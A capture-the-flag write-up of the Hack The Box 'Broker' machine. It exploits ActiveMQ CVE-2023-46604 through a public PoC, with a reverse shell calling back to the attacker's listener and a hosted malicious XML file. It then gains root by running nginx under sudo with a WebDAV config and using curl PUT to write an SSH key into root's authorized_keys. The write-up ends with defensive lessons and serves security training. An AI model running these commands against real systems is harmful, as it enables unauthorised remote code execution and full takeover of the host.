Broker
An outdated Apache ActiveMQ broker is vulnerable to unauthenticated RCE (CVE-2023-46604), giving a shell as activemq. A sudo rule allowing nginx to be run as root is abused — a malicious config turns nginx into a WebDAV server that writes an SSH key into root's authorized_keys for a root login.
htbTL;DR
Broker is an Easy-difficulty Linux machine running an outdated Apache ActiveMQ broker. The exposed OpenWire version (5.15.15) is vulnerable to unauthenticated remote code execution (CVE-2023-46604), which we leverage for a reverse shell as the activemq user. Post-exploitation shows a sudo misconfiguration that lets activemq run /usr/sbin/nginx as root. Because the binary is compiled with the WebDAV module, we point it at a malicious config that turns it into a writable file server, PUT our own SSH key into root’s authorized_keys, and log in as root.
| Machine | OS | Difficulty | Target IP | Pwnbox IP |
|---|---|---|---|---|
| Broker | Linux | Easy | 10.129.230.87 | 10.10.15.144 |
Enumeration
We start by finding the open ports with a fast scan, then run service and script detection against just those ports:
ports=$(nmap -p- --min-rate=1000 -T4 10.129.230.87 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -sCV 10.129.230.87 -p$portsThe scan returns:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)80/tcp open http nginx 1.18.0 (Ubuntu)|_http-title: Error 401 Unauthorized| http-auth:| HTTP/1.1 401 Unauthorized\x0D|_ basic realm=ActiveMQRealm|_http-server-header: nginx/1.18.0 (Ubuntu)1883/tcp open mqtt| mqtt-subscribe:| Topics and their most recent payloads:| ActiveMQ/Advisory/Consumer/Topic/#:|_ ActiveMQ/Advisory/MasterBroker:5672/tcp open amqp?|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 658161/tcp open http Jetty 9.4.39.v20210325| http-auth:| HTTP/1.1 401 Unauthorized\x0D|_ basic realm=ActiveMQRealm|_http-server-header: Jetty(9.4.39.v20210325)|_http-title: Error 401 Unauthorized38169/tcp open tcpwrapped61613/tcp open stomp Apache ActiveMQ61614/tcp open http Jetty 9.4.39.v20210325|_http-title: Site doesn't have a title.61616/tcp open apachemq ActiveMQ OpenWire transport 5.15.15The pattern is unmistakable: almost every port belongs to Apache ActiveMQ — the ActiveMQRealm basic-auth prompts on 80 and 8161, MQTT on 1883, AMQP on 5672, STOMP on 61613, and the OpenWire transport on 61616. The most valuable line is the last one, which leaks an exact version:
61616/tcp open apachemq ActiveMQ OpenWire transport 5.15.15Foothold
Unauthenticated RCE in Apache ActiveMQ (CVE-2023-46604)
Searching for ActiveMQ 5.15.15 quickly points to CVE-2023-46604, a critical unauthenticated RCE in the OpenWire protocol. The broker deserializes an attacker-controlled class reference from an OpenWire frame and instantiates it; by pointing it at a ClassPathXmlApplicationContext, we can make the server fetch a remote Spring XML file and execute arbitrary commands from it — no credentials required.
We use the ready-made PoC at strikoder/CVE-2023-46604-ActiveMQ-RCE-Python, which generates the malicious XML and sends the OpenWire trigger for us. Clone it and generate a payload that calls back to our Pwnbox:
git clone https://github.com/strikoder/CVE-2023-46604-ActiveMQ-RCE-Python.gitcd CVE-2023-46604-ActiveMQ-RCE-Python
# Build a reverse-shell payload (poc-linux.xml) pointing at our listenerpython3 generate_poc.py -i 10.10.15.144 -p 1001The attack has three moving parts, so we set up three terminals:
# Terminal 1 — catch the reverse shellnc -nvlp 1001# Terminal 2 — serve the generated XML to the targetpython3 -m http.server 2002# Terminal 3 — fire the exploit, telling the broker where to fetch the XMLpython3 main.py -i 10.129.230.87 -u http://10.10.15.144:2002/poc-linux.xmlThe broker fetches poc-linux.xml, executes the embedded command, and our listener catches the shell:

User
With a shell as activemq, we read the user flag from the home directory:
$ cat /home/activemq/user.txt0f5*****************************The reverse shell is a dumb shell, so we upgrade it to a fully interactive TTY before enumerating further:
script /dev/null -c bash# Ctrl+Z to backgroundstty raw -echo; fg# then type: resetPrivilege Escalation
We check what activemq may run with sudo:
$ sudo -lMatching Defaults entries for activemq on broker: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User activemq may run the following commands on broker: (ALL : ALL) NOPASSWD: /usr/sbin/nginxactivemq can run /usr/sbin/nginx as root without a password. Crucially, nginx accepts an arbitrary config file with the -c flag, which means we fully control what a root-owned nginx process does.
First we check which modules the binary was built with:
nginx -V 2>&1 | grep -o with-http_dav_modulewith-http_dav_moduleThe WebDAV module is compiled in, so a root-owned nginx can serve a writable endpoint that honours HTTP PUT. We abuse this to write files anywhere on disk as root.
We write a malicious config to /tmp/pwn.conf. It runs the worker as root, listens on port 1234, roots the server at / (the whole filesystem), and enables the PUT method:
user root;events { worker_connections 768;}http { server { listen 1234; root /; dav_methods PUT; }}Then start nginx with our config via the allowed sudo rule:
sudo /usr/sbin/nginx -c /tmp/pwn.confWe confirm the new listener is up on port 1234:
$ ss -tlpnState Recv-Q Send-Q Local Address:Port Peer Address:Port ProcessLISTEN 0 511 0.0.0.0:80 0.0.0.0:*LISTEN 0 511 0.0.0.0:1234 0.0.0.0:*LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*LISTEN 0 128 0.0.0.0:22 0.0.0.0:*...Since SSH is listening on port 22, the cleanest path to a stable root shell is to drop our own public key into root’s authorized_keys. We generate a key pair, saving it as root in the current directory and leaving the passphrase empty:
$ ssh-keygenGenerating public/private rsa key pair.Enter file in which to save the key (/home/activemq/.ssh/id_rsa): ./rootEnter passphrase (empty for no passphrase):Enter same passphrase again:Your identification has been saved in ./rootYour public key has been saved in ./root.pubThis gives us root (the private key) and root.pub (the public key). Because nginx is serving the filesystem root with PUT enabled as root, we upload the public key straight into /root/.ssh/authorized_keys:
curl -X PUT localhost:1234/root/.ssh/authorized_keys -d "$(cat root.pub)"With the key in place, we SSH in as root using the matching private key:
ssh -i root root@localhostThe login succeeds and we land in a root shell:

We read the final flag:
# cat /root/root.txtf8b*****************************Unauthenticated RCE in Apache ActiveMQ 5.15.15 (CVE-2023-46604) → shell as activemq; sudo-allowed nginx run with a malicious WebDAV config → PUT an SSH key into root’s authorized_keys → root.
Lessons Learned
- Keep message brokers patched and off the public internet. The entire foothold was a known, unauthenticated, version-specific CVE in ActiveMQ’s OpenWire transport. Exposing
61616to the world turned a missing patch into instant remote code execution. Update promptly and restrict the broker’s ports to trusted networks. sudoonnginxisroot. Allowing a user to run a feature-rich binary likenginxasrootis effectively a root shell: the-cflag hands over full control of a privileged process. Here the WebDAV module let that process write anywhere on disk. Never grantsudoon general-purpose binaries, and check candidates against GTFOBins before adding them tosudoers.- A world-writable nginx root is arbitrary file write. Combining
root /;withdav_methods PUTexposes the whole filesystem for overwrite. Scope any WebDAV location to a dedicated, unprivileged directory, and never run worker processes asroot.